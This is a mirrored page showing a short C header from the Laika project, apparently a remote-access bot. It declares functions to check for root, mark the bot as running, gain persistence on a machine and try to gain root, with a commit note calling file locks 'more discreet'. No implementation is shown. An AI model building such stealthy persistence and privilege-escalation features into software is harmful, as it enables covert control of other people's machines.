mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-14 01:40:05 +00:00
CPunch
b60203d3f2
- switched to file locks as that's more discreet - tied to LAIKA_PERSISTENCE being defined
23 lines
452 B
C
23 lines
452 B
C
#ifndef LAIKA_PERSIST_H
|
|
#define LAIKA_PERSIST_H
|
|
|
|
#include "lconfig.h"
|
|
|
|
#include <stdbool.h>
|
|
|
|
/* check if laika is running as super-user */
|
|
bool laikaB_checkRoot(void);
|
|
|
|
/* mark that laika is currently running */
|
|
void laikaB_markRunning(void);
|
|
|
|
/* unmark that laika is currently running */
|
|
void laikaB_unmarkRunning(void);
|
|
|
|
/* try to gain persistance on machine */
|
|
void laikaB_tryPersist(void);
|
|
|
|
/* try to gain root */
|
|
void laikaB_tryRoot(void);
|
|
|
|
#endif |